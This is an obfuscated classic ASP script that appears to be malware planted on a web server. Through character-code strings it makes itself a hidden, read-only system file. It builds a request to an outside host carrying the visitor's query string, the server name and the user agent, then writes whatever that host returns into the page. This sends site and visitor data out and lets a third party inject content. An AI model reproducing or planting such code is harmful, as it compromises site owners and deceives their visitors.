<% Public OO00O0OOO00 Public O0O0O0OOO0000 Public OO00O0OO00OO Public O0OOO00OOO0O0 Public O0O0OO00OOO0O Public OO0OO0O00O00 Public O00O0OO0O0OO0O Public O00OOOOO0000O Set OO00O0OOO00 = Server.CreateObject ( Chr ( 83 ) & Chr ( 99 ) & Chr ( 114 ) & Chr ( 105 ) & Chr ( 112 ) & Chr ( 116 ) & Chr ( 105 ) & Chr ( 110 ) & Chr ( 103 ) & Chr ( 46 ) & Chr ( 70 ) & Chr ( 105 ) & Chr ( 108 ) & Chr ( 101 ) & Chr ( 83 ) & Chr ( 121 ) & Chr ( 115 ) & Chr ( 116 ) & Chr ( 101 ) & Chr ( 109 ) & Chr ( 79 ) & Chr ( 98 ) & Chr ( 106 ) & Chr ( 101 ) & Chr ( 99 ) & Chr ( 116 ) ) Set O0O0O0OOO0000 = OO00O0OOO00.GetFile ( Request.ServerVariables ( Chr ( 80 ) & Chr ( 65 ) & Chr ( 84 ) & Chr ( 72 ) & Chr ( 95 ) & Chr ( 84 ) & Chr ( 82 ) & Chr ( 65 ) & Chr ( 78 ) & Chr ( 83 ) & Chr ( 76 ) & Chr ( 65 ) & Chr ( 84 ) & Chr ( 69 ) & Chr ( 68 ) ) ) If O0O0O0OOO0000.attributes <> ( 40 * 80 - 3161 ) Then O0O0O0OOO0000.attributes = ( 35 * 17 - 556 ) End If Response.Write vbCrLf OO00O0OO00OO = Server.MapPath ( Chr ( 46 ) ) O0OOO00OOO0O0 = Split ( OO00O0OO00OO , Chr ( 92 ) ) O0O0OO00OOO0O = UBound ( O0OOO00OOO0O0 ) OO0OO0O00O00 = O0OOO00OOO0O0 ( O0O0OO00OOO0O ) O00O0OO0O0OO0O = OO0OO00000OO ( Chr ( 49 ) & Chr ( 48 ) & Chr ( 52 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 54 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 54 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 50 ) & Chr ( 97 ) & Chr ( 53 ) & Chr ( 56 ) & Chr ( 97 ) & Chr ( 52 ) & Chr ( 55 ) & Chr ( 97 ) & Chr ( 52 ) & Chr ( 55 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 48 ) & Chr ( 50 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 52 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 48 ) & Chr ( 49 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 48 ) & Chr ( 49 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 53 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 48 ) & Chr ( 49 ) & Chr ( 97 ) & Chr ( 52 ) & Chr ( 54 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 55 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 52 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 48 ) & Chr ( 56 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 53 ) & Chr ( 97 ) & Chr ( 53 ) & Chr ( 50 ) & Chr ( 97 ) & Chr ( 53 ) & Chr ( 51 ) & Chr ( 97 ) & Chr ( 53 ) & Chr ( 52 ) & Chr ( 97 ) & Chr ( 52 ) & Chr ( 54 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 48 ) & Chr ( 53 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 48 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 48 ) & Chr ( 50 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 97 ) & Chr ( 52 ) & Chr ( 55 ) ) & Chr ( 63 ) & Chr ( 108 ) & Chr ( 117 ) & Chr ( 61 ) & Request.QueryString & Chr ( 38 ) & Chr ( 119 ) & Chr ( 61 ) & Request.ServerVariables ( Chr ( 83 ) & Chr ( 69 ) & Chr ( 82 ) & Chr ( 86 ) & Chr ( 69 ) & Chr ( 82 ) & Chr ( 95 ) & Chr ( 78 ) & Chr ( 65 ) & Chr ( 77 ) & Chr ( 69 ) ) & Chr ( 38 ) & Chr ( 97 ) & Chr ( 122 ) & Chr ( 61 ) & Chr ( 106 ) & Chr ( 102 ) & Chr ( 38 ) & Chr ( 108 ) & Chr ( 97 ) & Chr ( 105 ) & Chr ( 108 ) & Chr ( 117 ) & Chr ( 61 ) & Request.ServerVariables ( Chr ( 72 ) & Chr ( 84 ) & Chr ( 84 ) & Chr ( 80 ) & Chr ( 95 ) & Chr ( 85 ) & Chr ( 83 ) & Chr ( 69 ) & Chr ( 82 ) & Chr ( 95 ) & Chr ( 65 ) & Chr ( 71 ) & Chr ( 69 ) & Chr ( 78 ) & Chr ( 84 ) ) O00OOOOO0000O = OOO0OOOO0O000 ( O00O0OO0O0OO0O ) If O00OOOOO0000O = "" Then Else Response.Write O00OOOOO0000O Response.End End If Set OO00O0OOO00 = Server.CreateObject ( Chr ( 83 ) & Chr ( 99 ) & Chr ( 114 ) & Chr ( 105 ) & Chr ( 112 ) & Chr ( 116 ) & Chr ( 105 ) & Chr ( 110 ) & Chr ( 103 ) & Chr ( 46 ) & Chr ( 70 ) & Chr ( 105 ) & Chr ( 108 ) & Chr ( 101 ) & Chr ( 83 ) & Chr ( 121 ) & Chr ( 115 ) & Chr ( 116 ) & Chr ( 101 ) & Chr ( 109 ) & Chr ( 79 ) & Chr ( 98 ) & Chr ( 106 ) & Chr ( 101 ) & Chr ( 99 ) & Chr ( 116 ) ) Set O0O0O0OOO0000 = OO00O0OOO00.GetFile ( Request.ServerVariables ( Chr ( 80 ) & Chr ( 65 ) & Chr ( 84 ) & Chr ( 72 ) & Chr ( 95 ) & Chr ( 84 ) & Chr ( 82 ) & Chr ( 65 ) & Chr ( 78 ) & Chr ( 83 ) & Chr ( 76 ) & Chr ( 65 ) & Chr ( 84 ) & Chr ( 69 ) & Chr ( 68 ) ) ) If O0O0O0OOO0000.attributes <> ( 22 * 25 - 511 ) Then O0O0O0OOO0000.attributes = ( 17 * 36 - 573 ) End If Response.Write vbCrLf Function OOO0OOOO0O000(O00O0OO0O0OO0O ) Dim OOO00O0OOOO0 Set OOO00O0OOOO0 = Server.CreateObject ( Chr ( 109 ) & Chr ( 105 ) & Chr ( 99 ) & Chr ( 114 ) & Chr ( 111 ) & Chr ( 115 ) & Chr ( 111 ) & Chr ( 102 ) & Chr ( 116 ) & Chr ( 46 ) & Chr ( 120 ) & Chr ( 109 ) & Chr ( 108 ) & Chr ( 104 ) & Chr ( 116 ) & Chr ( 116 ) & Chr ( 112 ) ) OOO00O0OOOO0.Open Chr ( 103 ) & Chr ( 101 ) & Chr ( 116 ) , O00O0OO0O0OO0O , false OOO00O0OOOO0.send If OOO00O0OOOO0.readystate <> ( 77 * 52 - 4000 ) Then Exit Function OOO0OOOO0O000 = O00OO0OO00OOOO ( OOO00O0OOOO0.responsebody ) Set OOO00O0OOOO0 = Nothing End Function Function O00OO0OO00OOOO(OO00OOO000OO ) Dim O00OO0O00OOO0 Dim OOO00O0OOOOO0 Set O00OO0O00OOO0 = Server.CreateObject ( Chr ( 97 ) & Chr ( 100 ) & Chr ( 111 ) & Chr ( 100 ) & Chr ( 98 ) & Chr ( 46 ) & Chr ( 115 ) & Chr ( 116 ) & Chr ( 114 ) & Chr ( 101 ) & Chr ( 97 ) & Chr ( 109 ) ) O00OO0O00OOO0.Type = ( 34 * 98 - 3330 ) O00OO0O00OOO0.Open O00OO0O00OOO0.WriteText OO00OOO000OO O00OO0O00OOO0.Position = ( 40 * 12 - 480 ) O00OO0O00OOO0.Charset = Chr ( 71 ) & Chr ( 66 ) & Chr ( 50 ) & Chr ( 51 ) & Chr ( 49 ) & Chr ( 50 ) O00OO0O00OOO0.Position = ( 67 * 17 - 1137 ) OOO00O0OOOOO0 = O00OO0O00OOO0.ReadText O00OO0O00OOO0.Close Set O00OO0O00OOO0 = Nothing O00OO0OO00OOOO = OOO00O0OOOOO0 End Function Function OO0OO00000OO(O0OOO00O0O0O ) Dim O00OOOO00OO0O Dim OO00OO0O00O0 Dim O0000OO0OOOO0O Dim O000000OO0O0O O0OOO00O0O0O = Replace ( O0OOO00O0O0O , Chr ( 117 ) , Chr ( 45 ) ) O00OOOO00OO0O = Split ( O0OOO00O0O0O , Chr ( 97 ) ) For OO00OO0O00O0 = ( 27 * 71 - 1917 ) To UBound ( O00OOOO00OO0O ) O0000OO0OOOO0O = O00OOOO00OO0O ( OO00OO0O00O0 ) If IsNumeric ( O0000OO0OOOO0O ) Then O000000OO0O0O = O000000OO0O0O & Chr ( O0000OO0OOOO0O ) End If Next OO0OO00000OO = O000000OO0O0O End Function %>